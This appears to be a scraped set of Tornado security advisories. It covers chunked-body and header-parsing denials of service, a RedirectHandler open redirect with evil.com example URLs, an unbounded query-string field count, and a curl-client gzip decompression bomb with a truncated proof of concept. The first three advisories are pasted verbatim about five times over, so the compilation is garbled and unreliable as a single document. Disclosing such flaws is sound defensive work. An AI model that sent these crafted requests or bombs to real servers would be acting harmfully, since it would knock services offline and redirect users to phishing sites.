Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).

Summary

Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

• Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
• Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

• Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
• Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Summary

HTTPServerRequest.__init__ in tornado/httputil.py parses the URL query string via parse_qs_bytes() with no field-count limit — while the sibling POST-body parsing path (parse_body_arguments) received a max_num_fields=1000 cap added earlier in this exact same release (v6.5.8, commit 8d6363ed), explicitly to bound parsing cost for the identical underlying primitive. This leaves the query-string path with the resource-exhaustion exposure the body-path fix was meant to close.

File: tornado/httputil.py, line 553 (HTTPServerRequest.__init__)

Root Cause

# tornado/httputil.py:553 (before fix)
self.arguments = parse_qs_bytes(self.query, keep_blank_values=True)

Compare with the POST-body path fixed one commit earlier in the same release:

# tornado/httputil.py:1038-1041
uri_arguments = parse_qs_bytes(
    body,
    keep_blank_values=True,
    max_num_fields=config.urlencoded.max_arguments,  # default 1000
)

Both call sites funnel through the same tornado.escape.parse_qs_bytes (a thin wrapper over urllib.parse.parse_qs), which is exactly why max_num_fields was added to urllib.parse.parse_qsl upstream — to let frameworks bound field count. The fix was applied only to the body path; the query-string path was missed.

The request line + headers together are capped at max_header_size (default 65536 bytes), so this is not literally unbounded, but a single ~64KB request line can carry thousands of short key=value pairs — far beyond the 1000-field limit the maintainer judged appropriate for the structurally identical body case.

Attack Scenario

1. Attacker sends a GET request whose query string is packed with thousands of short fields (e.g. k0=1&k1=1&...&k7799=1, ~61KB), fitting comfortably under max_header_size. No authentication, cookies, or prior state required.
2. Tornado accepts and parses this with no field-count cap, unlike the equivalent POST-body request (which is correctly rejected with 400 once >1000 fields are present).
3. Parsing thousands of fields is CPU work performed synchronously inside Tornado's single-threaded IOLoop. Several such requests in flight concurrently stall the event loop, delaying processing of all other connections on that loop — not just the attacker's own request.

Verification (dynamic, local reproduction against v6.5.8)

Ran the unmodified v6.5.8 source directly (no external dependencies needed) with a minimal tornado.web.Application on 127.0.0.1:8888.

• Identical 7800-field/~61KB payload sent as GET query string → 200 OK; sent as POST body (application/x-www-form-urlencoded) → 400 Bad Request (correctly rejected by the existing max_num_fields body-path limit). This confirms the asymmetry directly.
• Per-request parse cost: baseline (/?a=1) averaged 1.86ms; the 7800-field query string averaged 25.1ms (~13x).
• Event-loop-blocking amplification (raw-socket test, isolating server-side stall from client overhead): with 10 sequential baseline probe requests fired with no load, average latency was 1.47ms (max 5.9ms). With 5 concurrent 61KB/7800-field requests in flight, the same baseline probes averaged 13.0ms (max 118.1ms) — an 8.9x average slowdown for unrelated clients, produced by ~305KB of unauthenticated attacker traffic.

Impact

All Tornado servers/applications are affected — this triggers on every request with a query string, independent of application/handler logic. An unauthenticated, unprivileged remote attacker can measurably degrade response times for all other clients sharing the same IOLoop, using a small amount of bandwidth and no special conditions. This is an availability/DoS concern; no confidentiality or integrity impact.

Recommended Fix

# tornado/httputil.py — HTTPServerRequest.__init__
if uri is not None:
    self.path, sep, self.query = uri.partition("?")
try:
    self.arguments = parse_qs_bytes(
        self.query,
        keep_blank_values=True,
        max_num_fields=_DEFAULT_PARSE_BODY_CONFIG.urlencoded.max_arguments,
    )
except ValueError as e:
    raise HTTPInputError("Invalid query string: %s" % e) from e

This reuses the existing ParseUrlEncodedConfig.max_arguments default (1000) via the module's _DEFAULT_PARSE_BODY_CONFIG, matching the POST-body limit and honoring any global override via set_parse_body_config(). The try/except is necessary because — unlike parse_body_arguments, which already wraps its call and converts ValueError into a clean HTTPInputError/400 — the query-string call site currently has no such handling, so without it, a request exceeding the limit would raise an uncaught ValueError instead of a clean 400.

Verified: with the fix applied, requests with ≤1000 query-string fields are unaffected; requests with >1000 fields are rejected with 400 Bad Request (consistent with the POST-body behavior); Tornado's own httputil_test and web_test suites (256 tests) pass unchanged.

An unbounded memory accumulation (decompression bomb) in tornado.curl_httpclient.CurlAsyncHTTPClient — the client-side sibling gap of CVE-2026-49855 — verified end-to-end on the 2026-08-15 master snapshot (6.6.dev1) and present unchanged in the latest release tag v6.5.8 and on master (checked 2026-08-17). When a Tornado application configures the curl client (the documented deployment for proxy support / advanced TLS options) and fetch()es an attacker-chosen or attacker-compromised URL with default decompress_response=True, a malicious server replying Content-Encoding: gzip with a ~2.8 MB wire bomb drove the client's RSS from 30,884 kB to 1,032,100 kB (~1008 MB) in 3.18 s (~350 MB/s, monotonic, no plateau) until the kernel OOM-killed the process (exit 137, cgroup OOMKilled=true) — with the transfer only 67% complete and no client-side size check ever intervening: curl_httpclient.py contains zero occurrences of max_body_size/MAXFILESIZE. The identical bomb against the default SimpleAsyncHTTPClient fails cleanly at ~65 MB, because every size gate CVE-2026-49855 added (compressed CL, chunked total, cumulative decompressed size — http1connection.py:620,676,742) lives in code the curl client never executes. This is a distinct component from the published advisory (which fixed _GzipMessageDelegate/SimpleAsyncHTTPClient only) and from the other curl-client advisories (credential handle-reuse GHSA-pw6j-qg29-8w7f, header CRLF GHSA-w235-7p84-xx57); the file's full commit history (latest 2026-06-17) shows no response-size work.

Details

tornado/curl_httpclient.py (line numbers identical on master 6.6.dev1, v6.5.8, and the audited snapshot):

"buffer": BytesIO(),                                  # :202 — plain BytesIO, no accounting
...
else:
    write_function = buffer.write                     # :359 — every decompressed byte lands here
curl.setopt(pycurl.WRITEFUNCTION, write_function)     # :360
...
if request.decompress_response:                       # default True (HTTPRequest)
    curl.setopt(pycurl.ENCODING, "gzip,deflate")      # :373-374 — libcurl advertises + auto-decodes

libcurl decompresses the response before invoking WRITEFUNCTION, so the callback receives decompressed bytes, which are appended to an unbounded BytesIO until the transfer ends or the process dies. The only ceiling is request_timeout (default 20 s) — at zlib's hundreds of MB/s that still permits many GB of accumulation; the PoC raised it to 300 s and the 1 GiB cgroup cap was hit in 3.2 s regardless. There is no pycurl.MAXFILESIZE, no max_buffer_size/max_body_size plumbing (the constructor accepts no body-size option), and streaming_callback users fare no better (the callback variant at :353-356 also performs zero accounting).

Contrast — SimpleAsyncHTTPClient path (tornado/http1connection.py), all absent from the curl path:

if cast(int, content_length) > self._max_body_size:        # :620  Content-Length gate
if total_size > self._max_body_size:                       # :676  chunked total gate
if self._decompressed_body_size > self._max_body_size:     # :742  CVE-2026-49855 decompressed gate

SimpleAsyncHTTPClient.initialize() defaults max_buffer_size = 104857600 (100 MiB) with max_body_size defaulting to it (simple_httpclient.py:117-121); CurlAsyncHTTPClient.initialize() has no corresponding parameter at all.

Attack chain (attacker = malicious HTTP server; victim = any Tornado app doing fetch() on attacker-influenced URLs — URL fetchers, webhook processors, link previewers, RSS/probe pollers):

1. App configures AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient") (documented for proxy support; proxies are only supported with the curl client).
2. App calls fetch("http://attacker/...") with defaults → request advertises Accept-Encoding: gzip,deflate.
3. Attacker replies 200, Content-Encoding: gzip, Transfer-Encoding: chunked, body = a gzip stream of zeros (4,174,525 wire bytes expanding to 4 GiB, 1029:1, sent in 64 KB chunks).
4. libcurl auto-decodes at ~350 MB/s into buffer.write with no size accounting → process RSS climbs linearly until OOM. The response need not complete: the client died with 2,818,048/4,174,525 wire bytes delivered (67%).

Variant without compression: decompress_response=False plus an endless streaming body (no Content-Length, no final chunk) feeds the same unaccounted buffer.write — this client never enforces any cap on any path.

PoC

Verified end-to-end 2026-08-15 in a single container (cgroup --memory 1g --memory-swap 1g so the exhaustion endpoint is safe and fast to observe), two processes over a real TCP socket on 127.0.0.1:8081: a raw-socket malicious server (evil_server.py, builds the 4 GiB-of-zeros gzip bomb once, serves it with chunked framing) and the Tornado victim (victim_curl.py, configures CurlAsyncHTTPClient, fetch(..., request_timeout=300), samples /proc/self/status VmRSS every 0.2 s from a monitor thread so the curve survives the OOM kill).

Build & run the victim

git clone https://github.com/tornadoweb/tornado
cd tornado
pip install pycurl
